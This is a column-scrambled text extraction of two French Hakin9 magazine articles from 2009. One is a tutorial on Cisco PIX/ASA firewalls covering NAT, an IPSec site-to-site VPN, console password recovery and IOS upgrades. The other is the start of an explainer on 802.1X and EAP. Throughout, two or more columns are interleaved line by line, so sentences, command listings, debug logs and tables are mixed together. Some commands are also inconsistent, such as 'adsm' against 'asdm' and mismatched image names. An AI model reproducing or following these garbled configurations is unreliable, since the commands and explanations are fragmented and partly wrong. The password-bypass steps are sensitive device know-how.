nous allons présenter il sera possible pour nat (inside) 1 192.168.1.0 255.255.255.0 0 0
n'importe quelle machine de la filiale de global (outside) 1 interface
static (inside,outside) 10.1.1.3 192.168.1.4 netmask 255.255.255.255
joindre les machines et serveur du siège static (inside,outside) 10.1.1.4 192.168.1.15 netmask 255.255.255.255
et vis versa. Tout d'abord, il sera nécessaire static (inside,outside) 10.1.1.5 192.168.1.10 netmask 255.255.255.255
de réaliser une exception (ACL) dans le access-group acl-outside in interface outside
route outside 0.0.0.0 0.0.0.0 204.69.198.1 1
NAT afin que les paquets provenant du
réseau local ne soit pas translatés vers le
réseau externe. Une règle (ACL) permettant
l'envoi des paquets dans le tunnel VPN sera
également nécessaire. La réalisation du
VPN imposera de choisir les algorithmes
de chiffrement, d'authenticité, le mode de
fonctionnement de la connexion (tunnel),
etc. Voici le listing des commandes que
nous détaillerons par la suite (Listing 3). La
première ACL indique le trafic à envoyer
dans la liaison VPN. La deuxième précise
de ne pas translater les paquets lorsque
la source est le réseau 192.168.1.0 et
la destination 192.168.2.0. L'instruction
nat (inside) 0 access-list nonat
applique l'exception définit par l'ACL NONAT
dans le NAT. La commande sysopt
autorise l'utilisation du protocole IPSec. La
transform-set correspond au paramètre de
transmission des paquets IPSec :

• Encapsulation (tunnel) ou ajout d'un


en-tête (header),
• Algorithme de chiffrement
et d' authenticité.

Nous définissons ensuite la durée de vie


de l'association en seconde, ici une heure.
Les différents paramétres sont ensuite Figure 4. Écran de lancement d’ADSM

1/2009 HAKIN9 53
PRATIQUE
appliqués à la réalisation d'une connexion plusieurs connexions VPN simultanées, pour partie de l'article. La crypto map est ensuite
IPSec (crypto map). Vous pouvez définir savoir combien, référez-vous à la première appliquée à l'interface outside sur laquel les
connexions seront établies.
Pour finir nous définissons la politique
Listing 2. Installation d’ADSM
IKE (isakmp policy) et la clé partagée entre
Installez l'ADSM pour une version 7.2(4) d'IOS les deux ASA pour l'établissement de la
ciscoasa> enable
communication.
Password: ***********
ciscoasa# configure terminal Pour tester la connexion, on peut par
ciscoasa(config)# copy tftp://IP_Serveur_TFTP/asdm-724.bin flash:adsm-724.bin exemple envoyer un ping d'un réseau vers
ciscoasa(config)# adsm image flash:/asdm-524.bin l'autre. Vous pouvez vérifier la présence
ciscoasa(config)# asdm location IP_Autorisé Masque inside
ciscoasa(config)# exit
et l'état de la communication grâce aux
ciscoasa# write memory commandes show crypto isakmp sa
et show crypto ipsec sa .
À noter qu'il est nécessaire de
configurer de la même manière l'autre
ASA situé dans la filiale en inversant les
adresses sources et destinations dans
les access-list VPN-Filiale et NONAT.
Vous pouvez comparez avec le Listing 4
les sorties de débuguages lors de
l'établissement de la connexion.

Mise à jour pour chiffrement


VPN en 3DES / AES
Il est possible que votre PIX/ASA n'est pas
la possibilité d'utiliser le cryptage 3DES
et AES pour vos connexions VPN, tout
simplement parce que la fonction n'est pas
activée. Vous pouvez vérifier si la fonction
de chiffrement 3DES est activée au moyen
de la commande show version . Dans le
cas où la fonction n'aurait pas été activée,
voici la procédure afin de corriger cela.
Tout d'abord, rendez vous à l'adresse [3].
Compléter l'enregistrement de votre appareil
afin d'obtenir un numéro de licence (gratuit).
Une fois le numéro de licence obtenu,
connectez vous sur le système en mode
de configuration puis entrez le numéro de
licence avec la commande :

activation-key xxxxxxxx
######## aaaaaaaa bbbbbbbb
Figure 5. L’outil packet-tracer
Que faire en cas de perte
de configuration et mot de
192.168.1.1 10.1.1.1
passe
192.168.2.1
Dans cette partie nous allons voir comment
contourner les problèmes de perte de
Internet mot de passe ou en cas de situation
de blocage suite à un problème de
ASA siège configuration AAA sur les Cisco PIX et ASA.
10.2.2.1 ASA filiale

Siège de l'entreprise finale de l'entreprise


192.168.1.0 /24 192.168.2.0 /24 Pour un PIX
Nous allons voir comment outrepasser
Figure 6. Schéma de l’interconnexion VPN les mots de passe d'un PIX. Tout d'abord

54 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO

vous aurez besoin du câble console, Enregistrez la valeur du registre de Mise à jour de l'IOS
d'un ordinateur avec un terminal configuration afin de pouvoir la restaurer Nous allons voir dans cette partie
(hyperterminal par exemple) et d' environ par la suite. comment réaliser les mises à jour de
dix minutes pendant lesquels le PIX sera Au prompt, validez avec la touche [Y] l'IOS de notre pare-feu. Ces mises à jour
hors de service. afin de changer la valeur. Accepter ensuite vont nous apporter des améliorations
Ensuite, vous aurez besoin de l'utilitaire toutes les valeurs par défaut proposés en et fonctions supplémentaires. Au
Password Lockout Utility afin de réaliser la pressant [Y] sauf celle qui s'intitule disable fil des versions des fonctionnalités
procédure de récupération. Vous trouverez system configuration. Utilisez ensuite particulièrement intéressantes sont
cet outil sur le site de Cisco. la commande boot afin de relancer le apparues, citons entre autre l'outil
Téléchargez la version de l'outil boitier. Le pare-feu chargera alors une pour déboguer les ACL packet-tracer
correspondant à votre version d'IOS configuration par défaut à la place de permettant de simuler et suivre le
et placez le à la racine de votre serveur la configuration de démarrage. Une fois cheminement d'un paquet au travers du
TFTP. Connecter ensuite le PIX à l'ordinateur chargé, entrez en mode privilégié à l'aide de pare-feu, le basculement automatique
par l'intermédiaire du câble série la commande enable et valider sans entrer vers un lien de secours en cas de panne
et connectez-vous grâce à l'hyperterminal. de mot de passe. Il ne nous reste plus qu'à ou encore les fonctionnalités de VPN SSL,
Ensuite mettez en marche le PIX, appuyez charger votre configuration et bien d'autre.
sur la combinaison de touche [Ctrl] + et à changer les mots de passe. La Pour commencer, nous allons faire
[C ] ou [Esc], dès que le message de commande copy startup-config migrer un PIX de la version 6.x vers la
démarrage apparaît. running-config va effectuer la copie de version ASA 7.0
Le prompt du mode monitor s'affiche votre configuration depuis la mémoire
alors. A l'aide des commandes address, de démarrage (startup). Entrez ensuite Mise à jour d'un PIX vers la
server, et file et enfin tftp afin de en mode de configuration à l'aide de version ASA
transférer l'outil récupération de mots de configure terminal et changez les mots de Seul les PIX 515, 515E, 525 et 535
passe sur le PIX. passe avec passwd , enable password , supportent la version 7.0 de l'IOS. Cisco
Une fois copié, l'outil vous demandera et username. Vous avez maintenant recommande que le PIX soit au minimum
si les mots de passe doivent être écrasés, changez les valeurs, reste à faire en version 6.2 avant de procéder à la mise
confirmé avec y. redémarrer votre ASA dans sa configuration à jour et de respecter les configurations
Après l'écrasement des mots normale avec ses nouveaux mots de nécessaires.
de passe, le mot de passe pour les passe. Pour ce faire, nous allons restaurer Tout d'abord, avec un show version
connexions Telnet sera cisco et il n'y aura la valeur du registre (config-register assurez-vous d'abord suffisamment de
plus de mot de passe pour entrer en <valeur _ registre>) que nous avions RAM dans votre PIX (Tableau 4).
mode privilégié. Il ne vous restera plus qu'à noté un peu plus haut. Enfin pour terminer, Il convient également de vérifier que
utilisez les commandes passwd et enable copier la configuration avec les nouveaux vous disposez de suffisamment de flash
password afin de mettre en place vos mot de passe dans la startup avec afin de contenir la nouvelle image, pour
nouveaux mots de passe. copy running-config startup-config. ce faire, consultez le tableau ci-dessous
Redémarrer votre ASA et le tour est joué. (Tableau 5).
Pour un ASA
Cette procédure permettra de remplacer
Listing 3 Commande pour réaliser l’interconnexion VPN
les mots de passe sur un ASA suite à la
perte de ceux-ci. Tout d'abord connectez- access−list Siege2Filiale permit ip 192.168.1.0 255.255.255.0 192.168.2.0
255.255.255.0
vous à l'aide du câble console, éteignez
access−list nonat permit ip 192.168.1.0 255.255.255.0 192.168.2.0
et rallumez l'ASA. Quand les messages de 255.255.255.0
démarrage apparaitront, appuyez sur la nat (inside) 0 access−list nonat
touche Echap. sysopt connection permit−ipsec
crypto ipsec transform−set ts_filiale esp−3des esp−sha−hmac
Au prompt, utilisez la commande crypto ipsec security−association lifetime seconds 3600
confreg afin d'ignorer la configuration crypto map VPN-Filiale 20 ipsec−isakmp
de démarrage. Le message suivant crypto map VPN-Filiale 20 match address ipsec
crypto map VPN-Filiale 20 set peer 10.2.2.1
apparaitra :
crypto map VPN-Filiale 20 set transform−set ts_filiale
crypto map VPN-Filiale interface outside
Current Configuration Register: isakmp enable outside
0x00000011 isakmp key clefsiege2filiale address 10.2.2.1 netmask 255.255.255.255
isakmp identity address
Configuration Summary:
isakmp policy 20 authentication pre−share
boot TFTP image, boot default image isakmp policy 20 encryption 3des
from Flash on netboot failure isakmp policy 20 hash sha
isakmp policy 20 group 2
Do you wish to change this
configuration? y/n [n]:

1/2009 HAKIN9 55
PRATIQUE
La mise à jour de la version 6.x à 7.0 va • Assurez-vous de ne pas avoir de dans la version 7.0,
demander un peu de travail mais avant de commandes conduit ou outbound • Assurez-vous que le PIX ne soit pas un
commencer nous devons nous assurer de dans votre configuration. En effet ces point de terminaison d'une connexion
quelques petites choses : commandes ne sont plus présentes PPTP,

Listing 4. Exemple de capture de déboguage lors de la création du tunnel VPN

ISAKMP (0): beginning Main Mode exchange ISAKMP: transform 1, ESP_3DES


IPSEC(ipsec_encap): crypto map check deny ISAKMP: attributes in transform:
02303: sa_request, ISAKMP: encaps is 1
(key eng. msg.) src= 10.1.1.1, dest= 10.2.2.1 ISAKMP: SA life type in seconds
src_proxy= 192.168.1.0/255.255.255.0/0/0 (type=4), ISAKMP: SA life duration (basic) of 28800
dest_proxy= 192.168.2.0/255.255.255.0/0/0 (type=4), ISAKMP: SA life type in kilobytes
protocol= ESP, transform= esp−3des esp−sha−hmac, ISAKMP: SA life duration (VPI) of 0x0 0x46 0x50 0x0
lifedur= 28800s and 4608000kb, ISAKMP: authenticator is HMAC−SHA
spi= 0x0(0), conn_id= 0, keysize= 0, flags= 0x4004 ISAKMP (0): atts are acceptable.IPSEC
crypto_isakmp_process_block: src 10.2.2.1, (validate_proposal_request):
dest 10.1.1.1 proposal part #1,
OAK_MM exchange (key eng. msg.) dest= 10.2.2.1,
ISAKMP (0): processing SA payload. message ID = 0 src= 10.1.1.1,
ISAKMP (0): Checking ISAKMP transform 1 against priority dest_proxy= 10.2.2.0/255.255.255.0/0/0 (type=4),
21 policy src_proxy= 10.1.1.0/255.255.255.0/0/0 (type=4),
ISAKMP: encryption 3DES−CBC protocol= ESP, transform= esp−3des esp−sha−hmac,
ISAKMP: hash SHA lifedur= 0s and 0kb,
ISAKMP: default group 2 spi= 0x0(0), conn_id= 0, keysize= 0, flags= 0x4
ISAKMP: auth pre−share ISAKMP (0): processing NONCE payload. message ID = −1448244754
ISAKMP: life type in seconds ISAKMP (0): processing ID payload. message ID = −1448244754
ISAKMP: life duration (basic) of 3600 ISAKMP (0): processing ID payload. message ID = −1448244754
ISAKMP (0): atts are acceptable. Next payload is 0 ISAKMP (0): processing NOTIFY payload 96 protocol 3
ISAKMP (0): SA is doing pre−shared key authentication spi 1510339082, message ID = −1448244754
using id type ID_IPV4_ADDR ISAKMP (0): processing responder lifetime
return status is IKMP_NO_ERRORIPSEC(ipsec_encap): crypto ISAKMP (0): responder lifetime of
map check deny 3600sIPSEC(map_alloc_entry): allocating entry 3
crypto_isakmp_process_block: src 10.2.2.1, IPSEC(map_alloc_entry): allocating entry 4
dest 10.1.1.1 ISAKMP (0): Creating IPSec SAs
OAK_MM exchange inbound SA from 10.2.2.1 to 10.1.1.1
ISAKMP (0): processing KE payload. message ID = 0 (proxy 10.2.2.0 to 10.1.1.0)
ISAKMP (0): processing NONCE payload. message ID = 0 has spi 1560082153 and conn_id 3 and flags 4
ISAKMP (0): processing vendor id payload lifetime of 3600 seconds
ISAKMP (0): speaking to another IOS box! lifetime of 4608000 kilobytes
ISAKMP (0): ID payload outbound SA from 10.1.1.1 to 10.2.2.1
next−payload : 8 (proxy 10.1.1.0 to 10.2.2.0)
type : 1 has spi 183633242 and conn_id 4 and flags 4
protocol : 17 lifetime of 3600 seconds
port : 500 lifetime of 4608000 kilobytesIPSEC(key_engine):
length : 8 got a queue event...
ISAKMP (0): Total payload length: 12 IPSEC(initialize_sas):,
return status is IKMP_NO_ERRORIPSEC(ipsec_encap): (key eng. msg.) dest= 10.1.1.1, src= 10.2.2.1,
crypto map check deny dest_proxy= 10.1.1.0/255.255.255.0/0/0 (type=4),
crypto_isakmp_process_block: src 10.2.2.1, src_proxy= 10.2.2.0/255.255.255.0/0/0 (type=4),
dest 10.1.1.1 protocol= ESP, transform= esp−3des esp−sha−hmac,
OAK_MM exchange lifedur= 3600s and 4608000kb,
ISAKMP (0): processing ID payload. message ID = 0 spi= 0x5cfcf6e9(1560082153), conn_id= 3, keysize= 0, flags= 0x4
ISAKMP (0): processing HASH payload. message ID = 0 IPSEC(initialize_sas):,
ISAKMP (0): SA has been authenticated (key eng. msg.) src= 10.1.1.1, dest= 10.2.2.1,
ISAKMP (0): beginning Quick Mode exchange, M−ID of src_proxy= 10.1.1.0/255.255.255.0/0/0 (type=4),
−1448244754:a9ad89eeIPSEC(key_engine): got a queue even dest_proxy= 10.2.2.0/255.255.255.0/0/0 (type=4),
IPSEC(spi_response): getting spi 0x5cfcf6e9(1560082153) protocol= ESP, transform= esp−3des esp−sha−hmac,
for SA from 10.2.2.1 to lifedur= 3600s and 4608000kb,
10.1.1.1 for prot 3 spi= 0xaf2055a(183633242), conn_id= 4, keysize= 0, flags= 0x4
return status is IKMP_NO_ERROR return status is IKMP_NO_ERROR602301: sa created,
crypto_isakmp_process_block: src 10.2.2.1, (sa) sa_dest= 10.1.1.1, sa_prot= 50,
dest 10.1.1.1 sa_spi= 0x5cfcf6e9(1560082153),
OAK_QM exchange sa_trans= esp−3des esp−sha−hmac , sa_conn_id= 3
oakley_process_quick_mode: 602301: sa created,
OAK_QM_IDLE (sa) sa_dest= 10.2.2.1, sa_prot= 50,
ISAKMP (0): processing SA payload. message ID = −1448244754 sa_spi= 0xaf2055a(183633242),
ISAKMP : Checking IPSec proposal 1 sa_trans= esp−des esp−md5−hmac , sa_conn_id= 4

56 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO

• Copier les certificats électronique pour prendre la précaution d' effectuer une
les connections VPN sur le PIX avant de sauvegarde de notre configuration avec Sur Internet
débuter la mise à jour, la commande write net . Ainsi, nous • www.cisco.com – Site de Cisco,
• Télécharger la version 7.0 depuis le site pourrons vérifier que tout à été converti • www.fcug.fr – French Cisco Users Group,
Cisco. et que rien ne manque. • www.wikipedia.org – Wikipedia.
Commencons :
Durant la mise à jour les commandes
de la version 6.x vont être convertis pour • Placer le binaire de l'IOS 7.0 à la racine consultez le tableau concernant les
fonctionner avec la version 7.0. Nous allons de votre serveur TFTP, quantités de mémoire requise (Tableau 6
• Connectez-vous au PIX en mode et Tableau 7).
Tableau 4. Mémoire nécessaire pour mise monitor à l'aide du cable console
à jour d’un PIX en fonction de sa licence
(recommandé) afin de visualiser les Remarque concernant les PIX
Licence Licence éventuels messages d'erreur lors du Dans le cas des PIX 525 et 535, il est
Restricted Unrestricted rechargement de la configuration, également nécessaire de vérifier que le
PIX 515 / • Puis sur l'interface inside assignez une fichier de configuration ne dépasse pas une
515E 64 MB 128 MB
adresse ip, une passerelle (optionnel) taille de 2MB. Dans le cas des PIX 515/515E
PIX 525 et surtout l'adresse du serveur TFTP la taille du fichier de configuration est limité
128 MB 256 MB
à l'aide des commandes suivantes : à 1MB. Si vous prévoyez d'utiliser ADSM,
PIX 535 Cisco recommande de limiter la taille du
512 MB 1 GB
interface <numéro_interface> fichier de configuration à 500 KB.
address <adresse_ip_pix> Une fois ces quelques précautions
Tableau 5. Quantité nécessaire de server <adresse_serveur_tftp> prises, nous pouvons rentrer dans le
mémoire Flash pour la mise à jour IOS 7.x
gateway <ip_paserelle> vif du sujet. Tout d'abord, effectuez une
Modèle de Mémoire Flash requise file <nom_image_sur_serveur_TFTP> sauvegarde de votre configuration puis
pare-feu PIX pour la version 6.3 téléchargez l'image de l'IOS sur le site de
PIX515/515E 16 Mb • Il ne reste plus qu'à lancer la copie Cisco et enregistrez l'image à la racine
PIX 525 avec l'aide de la commande tftp, de votre serveur tftp. Ensuite à l'aide de la
16 Mb • Une fois la copie effectuée, le PIX va commande copy tftp flash, copiez le
PIX 535 redémarrer. Pendant le redémarrage binaire dans la flash et enfin modifiez la
16 Mb suivez bien le chargement et surtout la commande de chargement de l'IOS depuis
conversion de la configuration et relevez le mode de configuration à l'aide de la
Tableau 6. Mémoires nécessaire pour la l'ensemble des messages d'erreur afin commande boot system flash:/<nom _
mise à jour en IOS 8.x pour un PIX de pouvoir résoudre les problèmes fichier _ ios> . Il ne vous reste plus qu'à
Modèle Quantité de Quantité de rencontrés, redémarrer votre pare-feu à l'aide de la
de PIX mémoire mémoire • Vous aurez la possibilité de consulter commande reload . Une fois l'IOS mis
vive flash les erreurs de configuration par la à jour, pensez à mettre à jour ADSM si vous
requise(MB) requise(MB) suite à l'aide de la commande show souhaitez l'utiliser.
PIX 64 16 startup−config errors,
515/ • A l'issue du redémarrage vous devez Conclusion
515E copier l'image dans la flash avec la L'utilisation de plus en plus intensive
PIX 128 16 commande copy tftp flash, d'Internet, la mise à disposition de services
525 • La mise à jour de votre PIX en version ou bien encore la communication entre
PIX 512 16 7.0 est maintenant accomplie. sites géographiques sont des besoins
535 de plus en plus présents au sein des
Mise à jour d'une version 7.x entreprises. Ces besoins entrainent des
Tableau 7. Mémoire nécessaire pour la vers la version 8.0 risques importants pour la sécurité et
mise à jour en IOS 8.x pour un ASA Nous allons voir ici comment faire la mise la confidentialité des informations d'une
Modèle Quantité de mémoire vive à jour de notre PIX/ASA en version 8.0. entreprise. Les pare-feux sont donc
ASA nécessaire (MB) Nous serons obligé de faire quelques devenus des outils indispensables dont la
différences entre le PIX et l'ASA. maîtrise du fonctionnement est un élément
5505 256
primordial.
5510 256 Logiciel et matériel nécessaires
5520 512 Que vous souhaitez mettre à jour un PIX Alexandre Chaigneau
5540 1024 ou un ASA, il est nécessaire d'être en Administrateur réseau depuis 3 ans dans une grande
association française présente sur l'ensemble du
IOS 7.2 minimum, si ce n'est pas le cas, territoire. Il est chargé d'assurer l'administration des
5550 4096
commencez par le mettre à jour. Ensuite systèmes et réseaux de l'ensemble de l'association.

1/2009 HAKIN9 57
PRATIQUE
NICOLAS RENARD

Fonctionnement
et implémentation du
protocole 802.1x
Degré de difficulté

L'objectif de cet article est d'expliquer le processus de connexion


d'un client à un réseau sécurisé par le protocole 802.1X en
expliquant tout d'abord son fonctionnement puis sa mise
en place sur un commutateur Cisco.

L
es réseaux actuels permettent une très Le contrôle des accès au réseau permet
grande mobilité des utilisateurs. En effet d’introduire de nouvelles possibilités :
il est très facile pour quelqu’un d’avoir un
accès physique et logique au réseau grâce • l’authentification des utilisateurs et/ou des
à l’utilisation de technologies telles que DHCP. machines se connectant au réseau,
Les besoins de sécurité posent alors un • l’association de politique de sécurité à des
nouveau challenge : sécuriser toujours plus les groupes d’utilisateurs,
accès au réseau tout en gardant cette liberté • la limitation à tout ou partie du réseau pour
de mobilité des utilisateurs. certains groupes d’utilisateurs,
On va donc lui associer des politiques de • l’association de paramètres additionnels
sécurité liées à son profil ou à son groupe tels que la qualité de service au niveau
d’appartenance. 802.1X va permettre de du port, basée sur le profil de l’utilisateur
CET ARTICLE
EXPLIQUE... sécuriser l’accès directement au niveau connecté.
physique du réseau en autorisant ou non un
Le fonctionnement du protocole
802.1X. utilisateur à y accéder avant qu’il soit connecté Ce protocole est aussi utilisé pour certains
Le fonctionnement de sur celui-ci. points d'accès WiFi.
l'authentification sur 802.1X via Avant de continuer, quelques repères Son principal avantage est qu’il peut
le protocole EAP (Extensible
Authentication Protocol). historiques dans la standardisation : restreindre l’accès des utilisateurs et des
La configuration d'une borne équipements non autorisés sur un LAN ou un
cisco Aironet et d'un client Linux. • 1994-2003 : PPP (nombreuses RFC), MAN. Une fois l’authentification validée, seul
Configuration d’un client 802.1X • 1997-2000 : RADIUS (RFC2058-2138-2865), le protocole EAPoL (Extensible Authentication
pour une connexion au réseau
Wifi sous MacOS/Windows/Linux
• 1998 : EAP (RFC2284-3748), Protocol over Lan) permet la communication
• 2001 : 802.1X. entre le commutateur et les autres équipements
CE QU'IL FAUT et les données peuvent transiter en
SAVOIR... IEEE 802.1X est un standard de l'IEEE basé sur communicant sur le port Ethernet. Le modèle
Connaître les commandes de EAP (RFC 2284 et plus précisément RFC 3748) et les concepts du standard IEEE
base et le fonctionnement du
système CISCO. pour le contrôle d'accès au réseau basé sur Dans le fonctionnement du protocole,
Connaissance réseau Ethernet les ports. Il s’agit d’une partie du groupe de les trois entités qui interagissent sont le
TCP/IP. protocoles IEEE 802 (802.1). Ce protocole est système à authentifier (supplicant), le système
Connaître le fonctionnement basé sur le mode client/serveur et fournit une authentificateur (authenticator system ou
d'un serveur RADIUS et le
fonctionnement d'un serveur
authentification aux équipements ou utilisateurs pass-through authenticator) et un serveur
d'autorité de certification. connectés à un port Ethernet sur un commutateur. d’authentification (authentication server).

58 HAKIN9 1/2009
FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1X

Le système authentificateur contrôle une Dans cette phase d’authentification authentificateur donne l’accès
ressource disponible via le point d’accès 802.1X, le système authentificateur à la ressource qu’il contrôle. Le
physique au réseau, nommé PAE (Port se comporte comme un mandataire serveur d’authentification va gérer
Access Entity). Le système à authentifier (proxy) entre le système à authentifier l’authentification proprement dite, en
souhaite accéder à cette ressource, il doit et le serveur d’authentification ; si dialoguant avec le système
donc pour cela s’authentifier. l’authentification réussit, le système à authentifier en fonction du protocole
d’authentification utilisé. Le commutateur
Tableau 1. Format d'une Trame EAP. n’effectuera aucune fonction
Code ID Longueur Données d’authentification et n’entrera pas dans
1 octet 1 octet 2 octet N octet l’interprétation du protocole EAP pour
l’authentification mais se contentera
simplement d’extraire l’information EAP
de la trame 802.1x et de la mettre dans
une trame Radius en direction du server
qui fera l’authentification (Figure 1, 2).
802.1x

Switch
La circulation
des informations
Host (Supplicant) AAA Server
d’authentification
Authenticator Authentication Server Le standard 802.1X s'appuie sur les
standards déjà existants. Le dialogue
entre le système authentificateur
et le système à authentifier se fait en
utilisant le protocole EAP (PPP Extensible
Authentification Protocol défini par
802.1x EAP le RFC2284). Les paquets EAP sont
transportés dans des trames Ethernet
Radius traffic spécifiques appelé EAPOL (EAP Over
Lan), dans lesquelles s’ajoutes un
numéro de type spécial: 88FE qui va
ainsi permettre une encapsulation
Figure 1. Les trois entités intervenant dans 802.1X directement d’EAP dans Ethernet.

Système à authentifier Système authentificateur Serveur d'authentification

Poste de travail Commutateur Ethernet Serveur Radius

Service de relais
Automate de trames Automate Automate
de demande Ethernet authentificateur serveur
d'authentifivation d'authentification

Trames EAPOL
Paquets Radius-EAP
LAN (support physique)

1/2009 HAKIN9 59
PRATIQUE
Aujourd’hui, un certain nombre de Le commutateur n’ayant pas besoin de Trois autres états existent :
protocoles EAP existent ; En voici dialoguer en EAP, mais seulement de
quelques uns : EAP-TLS, EAP-MD5, EAP- relayer l’information. • Force-authorized : Si le client supporte
TTLS, PEAP, EAP-FAST, LEAP. Le dialogue entre le système le 802.1x standard, l’authentification est
Les principales différences entre ces authentificateur et le serveur réussie, si toutefois il ne le supporte
protocoles concernent essentiellement d’authentification va se faire par une pas, le client sera connecté à un
le type d’authentification utilisé « ré-encapsulation » des paquets réseau restreint (Guest –VLAN),
(Utilisateur/mot de passe, certificat, OTP), EAP afin d’être compris par le serveur • force-unauthorized : Le port reste
la possibilité d’utiliser un tunnel chiffré d’authentification. Cependant, une bloqué même si l’authentification a
pour les échanges d’authentification analyse des informations contenues réussi,
ainsi que la possibilité pour le ser veur dans les paquets EAPOL est aussi faite • auto : L’interface a le statut bloqué par
Radius de relayer l’authentification à des afin d’informer le commutateur de l’action défaut (seules les trames EAPOL* sont
serveurs tiers externes (AD, LDAP, OBDC, à effectuer sur le port : autorisées à transiter), mais si le client
NDS…) réussit l’authentification, il est autorisé
Une fois le protocole EAP choisi, il • Autorisée : Le port est disponible pour à se connecter au réseau (le port
conviendra de contrôler la compatibilité le trafic réseau, passe dans l’état up). À l’inverse, si
du serveur Radius et du supplicant sur • non autorisée : Le port est désactivé l’authentification échoue, le port reste
les ordinateurs clients avec ce protocole. pour tout trafic réseau. bloqué.
Tableau 2. Tableau des terminologies
Termes Définitions
PPP Point to Point Protocol.
est un protocole de transmission pour l'internet, décrit par le standard RFC 1661, fortement basé sur HDLC,
qui permet d'établir une connexion de type liaison entre deux hôtes sur une liaison point à point. Il fait partie
de la couche de liaison (couche 2) du modèle OSI.
RADIUS Remote Authentication Dial-In User Service.
Protocole client-serveur permettant de centraliser des données d'authentification
LDAP Lightweight Directory Access Protocol est à l'origine un protocole permettant l'interrogation et la modification
des services d'annuaire. Ce protocole repose sur TCP/IP. Il a cependant évolué pour représenter une norme
pour les systèmes d'annuaires, incluant un modèle de données, nommage, fonctionnel et un modèle de
sécurité et de réplication.
EAP Extensible Authentication Protocol.
Mécanisme d'identification universel
IEEE 802.1X IEEE 802.1X est un standard de l'IEEE pour le contrôle d'accès au réseau basé sur les ports
RFC Requests For Comment.
Littéralement demande de commentaires, sont une série numérotée de documents électroniques
documentant les aspects techniques d’Internet, de protocoles etc.
EAPoL Extensible Authentication Protocol over Lan.
Permet la communication entre le commutateur et les autres équipements et les données peuvent transiter
en communicant sur le port Ethernet.
Supplicant Système à authentifier.
Authenticator system Système authentificateur.
Authentication server Serveur d’authentification Radius par exemple.
PAE Port Access Entity.
OTP One Time Password.
Solution d'authentification utilisant des mots de passe à usage unique.
AD Active Directory.
Service d’annuaire de Microsoft.
EAP-TTLS EAP-Tunneled Transport Layer Security
PEAP Protected Extensible Authentication Protocol ou Protected EAP.
EAP-Packet Paquet de dialogue EAP.
EAP-Start Authentification explicitement demandée par le système qui s’authentifie.
EAP-Logoff Fermeture du port contrôlé explicitement demandée par le système qui s’authentifie.

60 HAKIN9 1/2009
FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1X

Les différents types de • La seconde va permettre • response : réponse au paquet


protocoles EAP l'identification du client au travers du Request émit par l’authentificateur par
EAP-TLS (Figure 3) est un Standard tunnel précédemment créé. le serveur d’authentification,
ouvert IETF considéré comme le • success : le paquet Success
successeur du standard SSL Il existe à l’heure actuelle deux versions est émis en cas de réussite de
et représente le seul protocole EAP qui de PEAP Certifiées WPA (mise à jour) l’authentification,
doit obligatoirement être implanté sur un et WPA2 : • failure : le paquet Failure est émis en
matériel pour disposer du logo WPA ou cas d’échec de l’authentification.
WPA2. • PEAPv0/EAP-MS-CHAPv2,
Côté sécurité, il utilise un certificat • PEAPv1/EAP-GTC. Le champ ID est utilisé pour identifier la
client et ser veur pour l’établissement du session d’authentification en cours.
tunnel sécurisé. Cependant, dans le cas Les trames EAP Un champ supplémentaire (type)
d’un parc de machine trop important, et EAPOL apparaît pour les paquets de type
la création d’un certificat pour chaque Les trames EAP : Voici le format général Request ou Response afin de définir la
utilisateur devient difficile à gérer. C’est d’un paquet EAP (Tableau 1). nature des informations contenues dans
pourquoi les protocoles PEAP Il existe quatre types de paquets EAP celui-ci.
et EAP-TTLS ont été créés afin d’utiliser qui ont été définit par le RFC2284, qui Par exemple :
seulement un certificat pour le ser veur. indiquent le statut du paquet au niveau
EAP-MD5 est un standard ouvert du champ code de la trame EAP : • Identity : chaîne de caractères
IETF, mais il offre un niveau de sécurité identifiant l’utilisateur (une adresse
faible du fait que le hachage MD5 est • Request : Une requête d’information mail, un nom de login, etc.),
vulnérable. est émise par le système • notification : chaîne de caractères
EAP-TTLS (EAP-Tunneled Transport authentificateur, envoyée à l’utilisateur final,
Layer Security) est un standard ouvert
IETF, et co-développé par Funk Software
et Certicom. Ce protocole utilise des
certificats X-509 uniquement sur le serveur
d'identification. Son principal défaut est de
ne pas être supporté nativement sur les
systèmes Microsoft et Cisco.
PEAP (Protected Extensible Supplicant Authenticator Authentication Server
Authentication Protocol ou Protected
EAP) a été développé conjointement EAPOL Start
par Microsoft, RSA Security et Cisco
Systems. Il est très similaire au protocole EAP Request [A Identity]
EAP-TTLS et permet une identification
sécurisée via deux phases : EAP Response [S Identity]

EAP Request [OTP: OTP Challenge]


• La première permet l'identification du
EAP
serveur grâce à une infrastructure
EAP Request [OTP: OTP Password]
à clés publiques. Une fois le serveur
identifié, la création d'un tunnel EAP Success
sécurisé permettra de chiffrer
l’identification, Port authorized!

EAP- EAP- EAP- PEAP LEAP Öthers


MD5 TLS TTLS Ordinary traffic flow, without 802.1x or EAP

Port NOT authorized!

EAP EAPOL Logoff

802.1x

802.11 802.3

Figure 3. Encapsulation et protocoles EAP Figure 4. Déroulement de l'authentification d'un utilisateur

1/2009 HAKIN9 61
PRATIQUE
• nak : refus d’un type d’authentification
et proposition d’un autre, Sur Internet
• MD5-Challenge : défi (challenge) ou • http://2003.jres.org/
réponse (idem authentification Chap), • RFC2284: PPP Extensible Authentication Protocol (EAP)
• one-Time-Password : défi ou réponse, • RFC2865 à RFC2869: Radius
• generic Token Ring Card : défi ou • http://www.faqs.org/rfcs/rfc3580.html
réponse. • http://cri.univ-mlv.fr/wifi/html/conf-802.1x-windows-XP.html
• http://criterdoc.univ-st-etienne.fr/index.php/Connexion_WIFI_802.1x_sous_Linux
• http://criterdoc.univ-st-etienne.fr/index.php/Connexion_WIFI_802.1x_sous_Windows_XP
Les trames EAPOL : L’encapsulation • http://fr.wikipedia.org/wiki/Extensible_Authentication_Protocol#EAP-TLS
EAPOL est définie pour les trois types de • Cursus Cisco Network Security 1
réseaux suivants : 802.3/Ethernet MAC, • http://www.cisco.com/web/FR/solutions/CiscoMag/2008/06.html
802.5/Token Ring et FDDI/MAC • http://www.ietf.org/
et peuvent être de quatre types :

• EAP-Packet : paquet de dialogue EAP,


• EAP-Start : authentification Entrez dans la configuration d’une même(s) commande(s) précédée(s) de
explicitement demandée par le interface et activez au niveau de cette no.
système qui s’authentifie, interface l’authentification dot1x : Commandes facultatives :
• EAP-Logoff : fermeture du port
